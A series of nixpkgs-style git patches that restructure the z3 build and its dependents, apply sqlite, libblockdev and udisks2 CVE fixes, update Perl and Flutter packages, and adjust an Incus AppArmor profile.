+    ]
+    ++ lib.optionals javaBindings [
+      (lib.cmakeFeature "Z3_JAVA_JNI_LIB_INSTALLDIR" "${placeholder "java"}/lib")
+      (lib.cmakeFeature "Z3_JAVA_JAR_INSTALLDIR" "${placeholder "java"}/share/java")
+    ];
+
   doCheck = true;
   checkPhase = ''
     runHook preCheck
 
-    make -j $NIX_BUILD_CORES test
+    ${if useCmakeBuild then "ninja test-z3" else "make test"} -j $NIX_BUILD_CORES
     ./test-z3 -a
 
     runHook postCheck
   '';
 
   postInstall =
-    ''
-      mkdir -p $dev $lib
-      mv $out/lib $lib/lib
-      mv $out/include $dev/include
-    ''
+    lib.optionalString (!useCmakeBuild) (
+      ''
+        mkdir -p $dev $lib
+        mv $out/lib $lib/lib
+        mv $out/include $dev/include
+      ''
+      + lib.optionalString pythonBindings ''
+        mkdir -p $python/lib
+        mv $lib/lib/python* $python/lib/
+
+        # need to delete the lib folder to properly link the actual lib output
+        rm -rf $python/${python3Packages.python.sitePackages}/z3/lib
+      ''
+      + lib.optionalString javaBindings ''
+        mkdir -p $java/share/java $java/lib
+        mv $lib/lib/com.microsoft.z3.jar $java/share/java
+        mv $lib/lib/libz3java* $java/lib
+      ''
+    )
     + lib.optionalString pythonBindings ''
-      mkdir -p $python/lib
-      mv $lib/lib/python* $python/lib/
-      ln -sf $lib/lib/libz3${stdenv.hostPlatform.extensions.sharedLibrary} $python/${python3.sitePackages}/z3/lib/libz3${stdenv.hostPlatform.extensions.sharedLibrary}
-    ''
-    + lib.optionalString javaBindings ''
-      mkdir -p $java/share/java
-      mv com.microsoft.z3.jar $java/share/java
-      moveToOutput "lib/libz3java.${stdenv.hostPlatform.extensions.sharedLibrary}" "$java"
+      ln -sf $lib/lib $python/${python3Packages.python.sitePackages}/z3/lib
     '';
 
   doInstallCheck = true;
-  nativeInstallCheckInputs = [ versionCheckHook ];
+
+  nativeInstallCheckInputs = [
+    versionCheckHook
+  ] ++ lib.optionals pythonBindings [ python3Packages.pythonImportsCheckHook ];
+
+  pythonImportsCheck = [
+    "z3"
+  ];
 
   outputs =
     [
       "out"
       "lib"
       "dev"
-      "python"
     ]
+    ++ lib.optionals pythonBindings [ "python" ]
     ++ lib.optionals javaBindings [ "java" ]
     ++ lib.optionals ocamlBindings [ "ocaml" ];
 
@@ -111,6 +164,9 @@ stdenv.mkDerivation (finalAttrs: {
         "^z3-([0-9]+\\.[0-9]+\\.[0-9]+)$"
       ];
     };
+    tests = lib.optionalAttrs useCmakeBuild {
+      pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
+    };
   };
 
   meta = {
@@ -125,5 +181,7 @@ stdenv.mkDerivation (finalAttrs: {
       ttuegel
       numinit
     ];
+    pkgConfigModules = lib.optionals useCmakeBuild [ "z3" ];
+    broken = useCmakeBuild && ocamlBindings;
   };
 })

From a54baedbd288bd1410937c02721c699ba4be6b89 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 11 Jun 2025 22:48:10 +0200
Subject: [PATCH 1186/4511] ghidra-extensions.kaiju: fix z3 java output

(cherry picked from commit b00ae4f7a78695a302e7e8b08e6f7f0281207564)
---
 pkgs/tools/security/ghidra/extensions/kaiju/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/security/ghidra/extensions/kaiju/default.nix b/pkgs/tools/security/ghidra/extensions/kaiju/default.nix
index 4987ec30c898..b2eb22f24f19 100644
--- a/pkgs/tools/security/ghidra/extensions/kaiju/default.nix
+++ b/pkgs/tools/security/ghidra/extensions/kaiju/default.nix
@@ -43,9 +43,9 @@ let
     # https://github.com/CERTCC/kaiju/blob/c9dbb55484b3d2a6abd9dfca2197cd00fb7ee3c1/build.gradle#L189
     preBuild = ''
       mkdir -p build/cmake/z3/java-bindings
-      ln -s ${lib.getOutput "lib" z3_lib}/lib/com.microsoft.z3.jar build/cmake/z3/java-bindings
+      ln -s ${lib.getOutput "java" z3_lib}/share/java/com.microsoft.z3.jar build/cmake/z3/java-bindings
       mkdir -p os/${ghidraPlatformName}
-      cp ${lib.getOutput "lib" z3_lib}/lib/* os/${ghidraPlatformName}
+      cp ${lib.getOutput "java" z3_lib}/lib/* os/${ghidraPlatformName}
     '';
 
     gradleFlags = [ "-PKAIJU_SKIP_Z3_BUILD=true" ];

From 78d53e6dacd6e4f48fff1609a83fd3f0cec47002 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 11 Jun 2025 23:24:00 +0200
Subject: [PATCH 1187/4511] fstar: force autotools build for z3

(cherry picked from commit e86e8459f6ee384c90a1e9816b8e7bc8564f2c24)
---
 pkgs/by-name/fs/fstar/z3/default.nix | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/fs/fstar/z3/default.nix b/pkgs/by-name/fs/fstar/z3/default.nix
index b0429deb8d0c..e4973e669ac4 100644
--- a/pkgs/by-name/fs/fstar/z3/default.nix
+++ b/pkgs/by-name/fs/fstar/z3/default.nix
@@ -8,15 +8,17 @@
 }:
 
 let
+  z3' = z3.override { useCmakeBuild = false; };
+
   # fstar has a pretty hard dependency on certain z3 patch versions.
   # https://github.com/FStarLang/FStar/issues/3689#issuecomment-2625073641
   # We need to package all the Z3 versions it prefers here.
   fstarNewZ3Version = "4.13.3";
   fstarNewZ3 =
-    if z3.version == fstarNewZ3Version then
-      z3
+    if z3'.version == fstarNewZ3Version then
+      z3'
     else
-      z3.overrideAttrs (final: rec {
+      z3'.overrideAttrs (final: rec {
         version = fstarNewZ3Version;
         src = fetchFromGitHub {
           owner = "Z3Prover";
@@ -28,10 +30,10 @@ let
 
   fstarOldZ3Version = "4.8.5";
   fstarOldZ3 =
-    if z3.version == fstarOldZ3Version then
-      z3
+    if z3'.version == fstarOldZ3Version then
+      z3'
     else
-      z3.overrideAttrs (prev: rec {
+      z3'.overrideAttrs (prev: rec {
         version = fstarOldZ3Version;
         src = fetchFromGitHub {
           owner = "Z3Prover";

From 56dc650e27fdb9efc89eca0541a3cd128927c5ce Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 12 Jun 2025 10:03:28 +0200
Subject: [PATCH 1188/4511] python3Packages.z3-solver: fix z3 override

z3 now uses python3Packages, which is arguably the more correct way.
However, this requires adjusting the overlay interface.

(cherry picked from commit bd9c4aee47f3778809b8e5c7ee6a3e18a2745c64)
---
 pkgs/top-level/python-packages.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 212a9f001d90..cf29590efc11 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -19394,7 +19394,7 @@ self: super: with self; {
 
   yubico-client = callPackage ../development/python-modules/yubico-client { };
 
-  z3-solver = (toPythonModule (pkgs.z3.override { python3 = python; })).python;
+  z3-solver = (toPythonModule (pkgs.z3.override { python3Packages = self; })).python;
 
   z3c-checkversions = callPackage ../development/python-modules/z3c-checkversions { };
 

From cf49a06b435998485f913e2ce642d64bf3232deb Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 12 Jun 2025 13:06:20 +0200
Subject: [PATCH 1189/4511] simbaplusplus: add missing python to checkInputs

Required for checks, see https://github.com/pgarba/SiMBA-/blob/64be925af27387b912cf159fbce3392f767a03c9/CMakeLists.txt#L124-L140

(cherry picked from commit 316390d2276364cf38813d91e55acd14b40cfbe6)
---
 pkgs/by-name/si/simbaplusplus/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/si/simbaplusplus/package.nix b/pkgs/by-name/si/simbaplusplus/package.nix
index 9876b9ad1db7..43b67ebd5c56 100644
--- a/pkgs/by-name/si/simbaplusplus/package.nix
+++ b/pkgs/by-name/si/simbaplusplus/package.nix
@@ -5,6 +5,7 @@
   cmake,
   llvmPackages,
   z3,
+  python3,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -33,6 +34,10 @@ stdenv.mkDerivation (finalAttrs: {
     z3
   ];
 
+  checkInputs = [
+    python3
+  ];
+
   doCheck = true;
 
   meta = {

From f098de7f6753b2ff9bf4360147f7cb173999d5c2 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 11 Jun 2025 22:48:58 +0200
Subject: [PATCH 1190/4511] z3: 4.15.0 -> 4.15.1

Changelog: https://github.com/Z3Prover/z3/releases/tag/z3-4.15.1
(cherry picked from commit 320b32dff9c07b595b8b27dd540fda385d0bd92c)
---
 pkgs/by-name/z3/z3/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/z3/z3/package.nix b/pkgs/by-name/z3/z3/package.nix
index d20658b4e9fb..dba0c810ca1a 100644
--- a/pkgs/by-name/z3/z3/package.nix
+++ b/pkgs/by-name/z3/z3/package.nix
@@ -29,13 +29,13 @@ assert
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "z3";
-  version = "4.15.0";
+  version = "4.15.1";
 
   src = fetchFromGitHub {
     owner = "Z3Prover";
     repo = "z3";
     rev = "z3-${finalAttrs.version}";
-    hash = "sha256-fk3NyV6vIDXivhiNOW2Y0i5c+kzc7oBqaeBWj/JjpTM=";
+    hash = "sha256-mzU21AlKjC5406lQXfBSz/AIwo/1FThqap5JgldkAgQ=";
   };
 
   patches = lib.optionals useCmakeBuild [

From e0b955e9265a32199bab7a97da39e1c76fe7fc9d Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 18 Jun 2025 08:32:20 +0200
Subject: [PATCH 1191/4511] z3: use legacy build by default [25.05 only]

---
 pkgs/by-name/z3/z3/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/z3/z3/package.nix b/pkgs/by-name/z3/z3/package.nix
index dba0c810ca1a..df1249e3916d 100644
--- a/pkgs/by-name/z3/z3/package.nix
+++ b/pkgs/by-name/z3/z3/package.nix
@@ -17,7 +17,7 @@
   cmake,
   ninja,
   testers,
-  useCmakeBuild ? (!ocamlBindings), # TODO: remove gnu make build once cmake supports ocaml
+  useCmakeBuild ? false, # TODO: remove gnu make build once cmake supports ocaml
   ...
 }:
 

From 58982ec414df742d00f1d485cf76ad21cca757ed Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sun, 15 Jun 2025 01:08:52 +0200
Subject: [PATCH 1192/4511] sqlite3: apply patch for
 CVE-2025-29087/CVE-2025-29087

Equivalent to #413983 that went on 24.11.
Applying only the patch seemed the safe play given the build
system changes that went in #398702.
---
 .../sqlite/CVE-2025-3277_CVE-2025-29087.patch         | 11 +++++++++++
 pkgs/development/libraries/sqlite/default.nix         |  3 +++
 2 files changed, 14 insertions(+)
 create mode 100644 pkgs/development/libraries/sqlite/CVE-2025-3277_CVE-2025-29087.patch

diff --git a/pkgs/development/libraries/sqlite/CVE-2025-3277_CVE-2025-29087.patch b/pkgs/development/libraries/sqlite/CVE-2025-3277_CVE-2025-29087.patch
new file mode 100644
index 000000000000..9c09a494000e
--- /dev/null
+++ b/pkgs/development/libraries/sqlite/CVE-2025-3277_CVE-2025-29087.patch
@@ -0,0 +1,11 @@
+--- a/sqlite3.c
++++ b/sqlite3.c
+@@ -1570,7 +1570,7 @@ static void concatFuncCore(
+   for(i=0; i<argc; i++){
+     n += sqlite3_value_bytes(argv[i]);
+   }
+-  n += (argc-1)*nSep;
++  n += (argc-1)*(i64)nSep;
+   z = sqlite3_malloc64(n+1);
+   if( z==0 ){
+     sqlite3_result_error_nomem(context);
diff --git a/pkgs/development/libraries/sqlite/default.nix b/pkgs/development/libraries/sqlite/default.nix
index 4722376372e5..830f43fd1711 100644
--- a/pkgs/development/libraries/sqlite/default.nix
+++ b/pkgs/development/libraries/sqlite/default.nix
@@ -50,6 +50,9 @@ stdenv.mkDerivation rec {
     # https://sqlite.org/src/info/d7c07581
     # TODO: Remove in 3.49.0
     ./3.48.0-fk-conflict-handling.patch
+
+    # https://sqlite.org/src/info/2025-02-16T10:57z
+    ./CVE-2025-3277_CVE-2025-29087.patch
   ];
 
   outputs = [

From 76f1687987962cae91adf062d0ea9a560d95ff51 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 18 Jun 2025 00:06:12 +0000
Subject: [PATCH 1193/4511] warehouse: 2.0.2 -> 2.1.0

(cherry picked from commit cc442d01b09e52074807ff7e61256ad4ff51465c)
---
 pkgs/by-name/wa/warehouse/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/warehouse/package.nix b/pkgs/by-name/wa/warehouse/package.nix
index 7fd50af13e08..b07aff78550a 100644
--- a/pkgs/by-name/wa/warehouse/package.nix
+++ b/pkgs/by-name/wa/warehouse/package.nix
@@ -20,13 +20,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "warehouse";
-  version = "2.0.2";
+  version = "2.1.0";
 
   src = fetchFromGitHub {
     owner = "flattool";
     repo = "warehouse";
     tag = finalAttrs.version;
-    hash = "sha256-EcpHFS0EczUDFs0A/7IuNs1082hsuuS0J6wxSq47vaQ=";
+    hash = "sha256-3xtC6pcZo6MTypeILy+cNMBaPK+PlshIXaeJW6KGyV0=";
   };
 
   nativeBuildInputs = [

From 39cf87b3fa7255c258c5a17c92464ff2e64ede60 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Wed, 18 Jun 2025 09:17:50 +0200
Subject: [PATCH 1194/4511] libblockdev: Fix CVE-2025-6019

(cherry picked from commit a108aa854828a9fbf1cd706da2b87fc8c8e7d025)
---
 pkgs/by-name/li/libblockdev/package.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/by-name/li/libblockdev/package.nix b/pkgs/by-name/li/libblockdev/package.nix
index c44e74aa0e59..d86676412022 100644
--- a/pkgs/by-name/li/libblockdev/package.nix
+++ b/pkgs/by-name/li/libblockdev/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   autoreconfHook,
   pkg-config,
   gtk-doc,
@@ -44,6 +45,14 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Q7610i+2PQi+Oza3c2SwPneljrb+1cuFA4K4DQTpt8A=";
   };
 
+  patches = [
+    # CVE-2025-6019: https://www.openwall.com/lists/oss-security/2025/06/17/5
+    (fetchpatch {
+      url = "https://github.com/storaged-project/libblockdev/commit/4e35eb93e4d2672686789b9705623cc4f9f85d02.patch";
+      hash = "sha256-3pQxvbFX6jmT5LCaePoVfvPTNPoTPPhT0GcLaGkVVso=";
+    })
+  ];
+
   outputs = [
     "out"
     "dev"

From 3f3bfa85fcdde47a7e8c7a937d04db642b5caa8f Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Wed, 18 Jun 2025 09:17:58 +0200
Subject: [PATCH 1195/4511] udisks2: Fix CVE-2025-6019

(cherry picked from commit ce1de3051ede8300e51ad75893f899183b275bfa)
---
 pkgs/os-specific/linux/udisks/2-default.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/os-specific/linux/udisks/2-default.nix b/pkgs/os-specific/linux/udisks/2-default.nix
index a29e669380c4..6ee55b8579d1 100644
--- a/pkgs/os-specific/linux/udisks/2-default.nix
+++ b/pkgs/os-specific/linux/udisks/2-default.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   replaceVars,
   pkg-config,
   gnused,
@@ -78,6 +79,13 @@ stdenv.mkDerivation rec {
         util-linux
       ];
     })
+
+    # CVE-2025-6019: https://www.openwall.com/lists/oss-security/2025/06/17/5
+    (fetchpatch {
+      name = "CVE-2025-6019-2.patch";
+      url = "https://www.openwall.com/lists/oss-security/2025/06/17/5/2";
+      hash = "sha256-pgTA6yxQ1o9OU3qBeV1lh2O6mBkaUcc9md4uwFwz+AM=";
+    })
   ];
 
   strictDeps = true;

From aafef200482d56d9d43247dc430c07f7a1b910a9 Mon Sep 17 00:00:00 2001
From: Benjamin Staffin <benley@gmail.com>
Date: Tue, 17 Jun 2025 12:34:00 -0400
Subject: [PATCH 1196/4511] melonDS: fix missing pipewire symbols

I don't know why it is necessary to add pipewire to the LD_LIBRARY_PATH
wrapper, but this does seem to make it work again.

Fixes #409850

(cherry picked from commit 97e59469b389ce49f8760fa73bc6d97e39db75d1)
---
 pkgs/by-name/me/melonDS/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/me/melonDS/package.nix b/pkgs/by-name/me/melonDS/package.nix
index 096e3ad8d8f4..f92da2ea7ffd 100644
--- a/pkgs/by-name/me/melonDS/package.nix
+++ b/pkgs/by-name/me/melonDS/package.nix
@@ -9,6 +9,7 @@
   libarchive,
   libpcap,
   libslirp,
+  pipewire,
   pkg-config,
   qt6,
   stdenv,
@@ -68,6 +69,7 @@ stdenv.mkDerivation (finalAttrs: {
       "--prefix LD_LIBRARY_PATH : ${
         lib.makeLibraryPath [
           libpcap
+          pipewire
           wayland
         ]
       }"

From 0c9d0c4131fdcd232700e080b8ae32d325febd30 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 14 Jun 2025 17:14:07 -0400
Subject: [PATCH 1197/4511] perlPackages.WWWCurl: fix build with gcc 14

Switch to Debian patches -- the Arch one hasn't been updated.

(cherry picked from commit aa5a92f7be2aee71c623d45b9d064c5c606377ee)
---
 pkgs/top-level/perl-packages.nix | 48 ++++++++++++++++++++++++++------
 1 file changed, 40 insertions(+), 8 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index d040428bb6d8..5b79e59c8760 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -16,6 +16,7 @@
   fetchurl,
   fetchpatch,
   fetchpatch2,
+  fetchDebianPatch,
   fetchFromGitHub,
   fetchFromGitLab,
   perl,
@@ -37755,20 +37756,51 @@ with self;
     };
   };
 
-  WWWCurl = buildPerlPackage {
+  WWWCurl = buildPerlPackage rec {
     pname = "WWW-Curl";
     version = "4.17";
     src = fetchurl {
       url = "mirror://cpan/authors/id/S/SZ/SZBALINT/WWW-Curl-4.17.tar.gz";
       hash = "sha256-Uv+rEQ4yNI13XyQclz61b5awju28EQ130lfNsKJKt7o=";
     };
-    patches = [
-      (fetchpatch {
-        url = "https://aur.archlinux.org/cgit/aur.git/plain/makefile.patch?h=perl-www-curl&id=7e004bb8c5dc49c903a5d5fa5ff28c30a58e2595";
-        hash = "sha256-8JZbe4IMfRZyLa118AAH/wsXrazOFy79OoH3Nuy57A4=";
-        name = "perl-www-curl-makefile.patch";
-      })
-    ];
+    # Convenience link: https://salsa.debian.org/perl-team/modules/packages/libwww-curl-perl/-/tree/master/debian/patches
+    patches =
+      let
+        pname = "libwww-curl-perl";
+        debianRevision = "12";
+      in
+      [
+        # needed for curl 7.50.2 compat
+        (fetchDebianPatch {
+          inherit debianRevision pname version;
+          patch = "Skip-preprocessor-symbol-only-CURL_STRICTER.patch";
+          hash = "sha256-9NcGBjVTbXWr4axl9cKsaAKt+spxDf97M76KDX7vl0I=";
+        })
+        # needed for curl 7.70.0 compat
+        (fetchDebianPatch {
+          inherit debianRevision pname version;
+          patch = "WWW-Curl-4.17-RT130591.patch";
+          hash = "sha256-RoAjUSt8WwcxEgjDgitr8u+0BKcHUzIJts3ohKKmzg4=";
+        })
+        # Ignore undefined DEPRECAT macros from curl 7.87.0
+        (fetchDebianPatch {
+          inherit debianRevision pname version;
+          patch = "workaround_DEPRECAT.patch";
+          hash = "sha256-oZBk2RUr2wVtrFhFN20TI2eWSCtcJbG+fPKhc1Br7JY=";
+        })
+        # Fix typo in "therefore" in man page
+        (fetchDebianPatch {
+          inherit debianRevision pname version;
+          patch = "typo_therefore.patch";
+          hash = "sha256-UQTyv9YgIZC3S5Ih3qazPmQR4RLY7IEAmuMJUAyjewA=";
+        })
+        # needed for curl 8.13.0 compat
+        (fetchDebianPatch {
+          inherit debianRevision pname version;
+          patch = "curl_8.13.0.patch";
+          hash = "sha256-VTp0CtVakGti23DvRJwnuP3//eS4BzV5/n+A2zg/a+k=";
+        })
+      ];
     env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-return-type";
     buildInputs = [ pkgs.curl ];
     doCheck = false; # performs network access

From 30b112c5b6d4869665c297797edba8e5b460c404 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 14 Jun 2025 16:30:34 -0400
Subject: [PATCH 1198/4511] perlPackages.TextUnaccent: fix build with gcc 14

Convenience link to patch: https://salsa.debian.org/perl-team/modules/packages/libtext-unaccent-perl/-/blob/debian/1.08-2/debian/patches/bug848156.patch

(cherry picked from commit ff1c96299b96bdf7b0c8b91aca3546c7c38064a7)
---
 pkgs/top-level/perl-packages.nix | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index d040428bb6d8..4b0f1d559443 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -16,6 +16,7 @@
   fetchurl,
   fetchpatch,
   fetchpatch2,
+  fetchDebianPatch,
   fetchFromGitHub,
   fetchFromGitLab,
   perl,
@@ -36378,13 +36379,24 @@ with self;
     };
   };
 
-  TextUnaccent = buildPerlPackage {
+  TextUnaccent = buildPerlPackage rec {
     pname = "Text-Unaccent";
     version = "1.08";
     src = fetchurl {
       url = "mirror://cpan/authors/id/L/LD/LDACHARY/Text-Unaccent-1.08.tar.gz";
       hash = "sha256-J45u/Jsk82mclh77NuvmAqNAi1QVcgF97hMdFScocys=";
     };
+    patches = [
+      # Fix build with gcc 14
+      # Convenience link to patch: https://salsa.debian.org/perl-team/modules/packages/libtext-unaccent-perl/-/blob/debian/1.08-2/debian/patches/bug848156.patch
+      (fetchDebianPatch {
+        inherit version;
+        pname = "libtext-unaccent-perl";
+        debianRevision = "2";
+        patch = "bug848156.patch";
+        hash = "sha256-RonSt/nPFYgAxbNU0jyfe1YpipxAJrLcIxwaUPxddoE=";
+      })
+    ];
     # https://rt.cpan.org/Public/Bug/Display.html?id=124815
     env.NIX_CFLAGS_COMPILE = "-DHAS_VPRINTF";
     meta = {

From aa762e9243651133c8d439204eea820c0fb8452f Mon Sep 17 00:00:00 2001
From: MakiseKurisu <MakiseKurisu@users.noreply.github.com>
Date: Sun, 8 Jun 2025 22:20:01 +0800
Subject: [PATCH 1199/4511] nixos/tests/incus: add test for apparmor.service

(cherry picked from commit d008f045dbf202a51d33a082ac82070ae4bbb5c9)
---
 nixos/tests/incus/incus-tests.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/nixos/tests/incus/incus-tests.nix b/nixos/tests/incus/incus-tests.nix
index 3d0e4f0e082f..3a9479f5ab55 100644
--- a/nixos/tests/incus/incus-tests.nix
+++ b/nixos/tests/incus/incus-tests.nix
@@ -221,6 +221,14 @@ import ../make-test-python.nix (
             machine.succeed("incus storage show default")
 
       ''
+      + lib.optionalString appArmor ''
+        with subtest("Verify AppArmor service is started without issue"):
+            # restart AppArmor service since the Incus AppArmor folders are
+            # created after AA service is started
+            machine.systemctl("restart apparmor.service")
+            machine.succeed("systemctl --no-pager -l status apparmor.service")
+            machine.wait_for_unit("apparmor.service")
+      ''
       + lib.optionalString instanceContainer (
         lib.foldl (
           acc: variant:

From ff08d754965eb1d03640068f5d779301712870e8 Mon Sep 17 00:00:00 2001
From: MakiseKurisu <MakiseKurisu@users.noreply.github.com>
Date: Mon, 9 Jun 2025 00:23:20 +0800
Subject: [PATCH 1200/4511] nixos/incus: update AppArmor profile for new
 versions

(cherry picked from commit dd5faa98aec25d34ae35e30d32c343084064e3bd)
---
 nixos/modules/virtualisation/incus.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/virtualisation/incus.nix b/nixos/modules/virtualisation/incus.nix
index 6637141d0330..6c9ce89a7d9f 100644
--- a/nixos/modules/virtualisation/incus.nix
+++ b/nixos/modules/virtualisation/incus.nix
@@ -348,12 +348,14 @@ in
 
           profile incusd ${lib.getExe' config.virtualisation.incus.package "incusd"} flags=(unconfined) {
             userns,
-            </var/lib/incus/security/apparmor/cache>
-            </var/lib/incus/security/apparmor/profiles>
+
+            include "/var/lib/incus/security/apparmor/cache"
 
             # Site-specific additions and overrides. See local/README for details.
             include if exists <local/incusd>
           }
+
+          include "/var/lib/incus/security/apparmor/profiles"
         '';
       };
       includes."abstractions/base" =

From 63b684231773e237487b8eb0d8f557a58dfb4a97 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Sat, 14 Jun 2025 21:12:18 +0800
Subject: [PATCH 1201/4511] dart.sqlcipher_flutter_libs: refactor, add 4_6_1
 and 4_8_0

(cherry picked from commit 03b2a4f41311c9e0b72cfe94ff3fd3e7f6716069)
---
 .../sqlcipher_flutter_libs/default.nix        | 32 +++++++++++--------
 1 file changed, 18 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/compilers/dart/package-source-builders/sqlcipher_flutter_libs/default.nix b/pkgs/development/compilers/dart/package-source-builders/sqlcipher_flutter_libs/default.nix
index 2d8bc799e686..410533c3bed7 100644
--- a/pkgs/development/compilers/dart/package-source-builders/sqlcipher_flutter_libs/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/sqlcipher_flutter_libs/default.nix
@@ -9,16 +9,21 @@
 let
   artifacts =
     lib.mapAttrs
-      (
-        version: sha512:
-        fetchurl {
-          url = "https://storage.googleapis.com/simon-public-euw3/assets/sqlcipher/${version}.c";
-          inherit sha512;
-        }
-      )
+      (version: hash: rec {
+        file = fetchurl {
+          inherit url hash;
+        };
+        url =
+          if lib.versionOlder version "v4_6_1" then
+            "https://storage.googleapis.com/simon-public-euw3/assets/sqlcipher/${version}.c"
+          else
+            "https://fsn1.your-objectstorage.com/simon-public/assets/sqlcipher/${version}.c";
+      })
       {
-        v4_5_7 = "11bb454d761b994f7e44f35dabd3fc8ac3b40499d6fdc29d58a38fb9b4dcdd6eb14ff3978ceb7c6f3bd5eee4a5abeec5f0453b944268f9aaf942b0366df1e73d";
-        v4_5_6 = "939ae692239adc0581211a37ed9ffa8b37c8f771c830977ecb06dc6accc4c3db767ce6abeaf91133815e2ae837785affa92f4c95b2e68cb6d563bd761f3e0cb1";
+        v4_8_0 = "sha256-nfYmi9PJlMbLqiFRksOIUXYHgD8LL2AVey9GCUc03Jw=";
+        v4_6_1 = "sha256-8kBJiy8g1odpBQQUF5A7f9g3+WStbJTARyfvAi84YVE=";
+        v4_5_7 = "sha256-lDgSEVGZcoruF7nAp0C2kr6TN7XllpMzMVi/R1XfGP4=";
+        v4_5_6 = "sha256-evZl3JUeyAfW0fGJ0EfFQs64Z/yRCZGeOeDGgXrFHFU=";
       };
 in
 stdenv.mkDerivation rec {
@@ -31,16 +36,15 @@ stdenv.mkDerivation rec {
 
     cp -r "$src" "$out"
     _replace() {
-      URL="https://storage.googleapis.com/simon-public-euw3/assets/sqlcipher/v$1.c"
       # --replace-fail messes with the file if it fails (is empty afterwards) so we do this instead
-      if cat "$out/linux/CMakeLists.txt" | grep "$URL" >/dev/null 2>/dev/null; then
-        substituteInPlace "$out/linux/CMakeLists.txt" --replace "$URL" "file://$2"
+      if cat "$out/linux/CMakeLists.txt" | grep "$1" >/dev/null 2>/dev/null; then
+        substituteInPlace "$out/linux/CMakeLists.txt" --replace "$1" "file://$2"
       else
         return 2
       fi
     }
-    _replace "4_5_7" "${artifacts.v4_5_7}" || \
-    _replace "4_5_6" "${artifacts.v4_5_6}" || \
+
+    ${lib.concatMapAttrsStringSep " || " (_: v: ''_replace "${v.url}" "${v.file}"'') artifacts} || \
     (echo "unknown version of sqlcipher, please add to pkgs/development/compilers/dart/package-source-builders/sqlcipher_flutter_libs" && cat linux/CMakeLists.txt | grep "https://storage.*" -o && exit 2)
 
     runHook postInstall

From 42359f237bb175eec361902005818bc7f32227dd Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Sat, 14 Jun 2025 21:12:43 +0800
Subject: [PATCH 1202/4511] fluffychat: 1.26.1 -> 1.27.0

wip

(cherry picked from commit 8307d607b4d4117dffe63feca83d767c48d76984)
---
 pkgs/by-name/fl/fluffychat/package.nix       |  29 +-
 pkgs/by-name/fl/fluffychat/pubspec.lock.json | 571 ++++++++++---------
 2 files changed, 326 insertions(+), 274 deletions(-)

diff --git a/pkgs/by-name/fl/fluffychat/package.nix b/pkgs/by-name/fl/fluffychat/package.nix
index 3a5f6e756fb6..3128e496bd22 100644
--- a/pkgs/by-name/fl/fluffychat/package.nix
+++ b/pkgs/by-name/fl/fluffychat/package.nix
@@ -2,10 +2,11 @@
   lib,
   fetchzip,
   fetchFromGitHub,
+  fetchpatch,
   imagemagick,
   libgbm,
   libdrm,
-  flutter327,
+  flutter332,
   pulseaudio,
   makeDesktopItem,
   olm,
@@ -20,33 +21,43 @@ let
   ];
   pubspecLock = lib.importJSON ./pubspec.lock.json;
 in
-flutter327.buildFlutterApplication (
+flutter332.buildFlutterApplication (
   rec {
     pname = "fluffychat-${targetFlutterPlatform}";
-    version = "1.26.1";
+    version = "1.27.0";
 
